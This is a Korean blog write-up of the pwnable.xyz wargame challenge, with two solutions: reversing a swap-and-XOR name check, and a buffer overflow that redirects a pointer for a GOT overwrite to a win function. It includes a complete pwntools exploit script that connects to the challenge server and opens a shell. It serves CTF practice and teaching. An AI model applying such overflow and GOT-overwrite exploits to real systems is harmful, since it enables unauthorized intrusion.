두 가지 풀이가 있다. 암호화 루틴을 리버싱하는 방법이 있고, 다른 하나는 GOT overwrite로 플래그를 가져오는 방법이다.
Exploit: Reversing
auth
함수에서 입력한 name
문자열을 비교한다. s1
암호화 과정을 역연산해서 원래의 문자열을 알아낼 수 있다.
for ( i = 0; i <= 0x1F; ++i )
s1[i] = ((a1[i] >> 4) | 16 * a1[i]) ^ *(main + i); return strncmp(s1, &s2, 0x20uLL) == 0; |
각각의 바이트에 대해서, 상위 4비트와 하위 4비트를 서로 바꾼 뒤 main[i]
와 xor하고 결과를 s2
와 비교한다.
s2
에 대해서 main[i]
와 xor한 뒤 상/하위 4비트를 서로 바꿔주면 적절한 입력값을 찾을 수 있다.
Exploit: Pwn
age
를 입력받는 부분에서 이상한 점이 보인다.
if ( menu == 3 )
{ printf("age: "); __isoc99_scanf("%d", age); } |
scanf
에서 인자로 age
의 주소가 아니라 age
자체를 주고 있다. 이 경우 age
가 가리키는 위치에 4바이트를 쓸 수 있기 때문에, age
를 조작할 수 있다면 (거의) 원하는 위치에 값을 쓸 수 있게 된다. (%d는 4바이트를 입력받기 때문에 앞 4바이트가 0인 주소에 대해서만 가능하다)
age
는 nationality
를 입력받을 때 overflow로 변경할 수 있다.
char nationality[16]; // [rsp+30h] [rbp-20h]
__int64 age; // [rsp+40h] [rbp-10h] ... printf("nationality: "); __isoc99_scanf("%24s", nationality); |
nationality
는 크기 16인 배열이지만 길이 24로 입력받기 때문에 age
를 덮어씌울 수 있다.
age
에 함수의 GOT 주소값을 쓰고 age
를 입력할 때 win
의 주소를 써 주면 된다. 하지만 이미 한 번 이상 사용된 함수의 경우 GOT가 libc로 연결되어 있기 때문에, overwrite를 하는 시점에서 GOT의 상위 4바이트가 0x7FFF이 되어 있다는 점에 유의해야 한다. GOT overwrite 직전까지 사용되지 않는 함수는 strncmp
(0x603018), puts
(0x603020), exit
(0x603078) 이 있는데, puts
의 0x20 바이트는 공백(Space)으로 scanf
에서 입력할 수 없기 때문에 사용이 불가능하다.
strncmp
를 덮는 경우 4번 메뉴에서 해당 함수를 실행시켜야 하며 exit
를 덮는 경우 SIGALRM
을 받기 위해 60초를 기다려야 한다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def log_error(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def ChangeName(name:bytes) : p.writelineafter(b'> ', b'1') p.writelineafter(b': ', name) def ChangeNationality(nationality:bytes) : p.writelineafter(b'> ', b'2') p.writelineafter(b': ', nationality) def ChangeAge(age:int) : p.writelineafter(b'> ', b'3') p.writelineafter(b': ', str(age).encode()) def GetShell() : p.writelineafter(b'> ', b'4') def exploit1() : xor_key = '55 48 89 E5 48 83 EC 50 64 48 8B 04 25 28 00 00 00 48 89 45 F8 31 C0 E8 24 FE FF FF 48 8D 45 C0'.split() enc = '11 DE CF 10 DF 75 BB A5 43 1E 9D C2 E3 BF F5 D6 96 7F BE B0 BF B7 96 1D A8 BB 0A D9 BF C9 0D FF'.split() dec = [] for i in range(32) : k = int(xor_key[i], 16) e = int(enc[i], 16) dec.append((((e^k)>>4) | ((e^k)<<4)) & 0xFF) ChangeName(bytes(dec)) GetShell() p.interactive() def exploit2() : payload = b'A'*0x10 payload += p64(0x603018) # strncpy@got ChangeNationality(payload) ChangeAge(0x40099C) # win GetShell() p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') parser.add_argument('-s', '--solve', type=int, help='select solving method') args = parser.parse_args() if args.remote : p = remote('svc.pwnable.xyz', 30031) else : p = process('./challenge') try : exploit = eval('exploit{}'.format(args.solve)) except : args.solve = 1 log_error('invalid option: \'solve\'') finally : exploit = eval('exploit{}'.format(args.solve)) log_info('Exploit method: {} ({})'.format(args.solve, ['Reversing', 'GOT overwrite'][args.solve-1])) exploit() |
Last update: 10/23/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / TLSv00 (0) | 2020.01.13 |
---|---|
pwnable.xyz / Free Spirit (0) | 2020.01.13 |
pwnable.xyz / xor (0) | 2020.01.13 |
pwnable.xyz / note (0) | 2020.01.13 |
pwnable.xyz / GrownUp (0) | 2020.01.13 |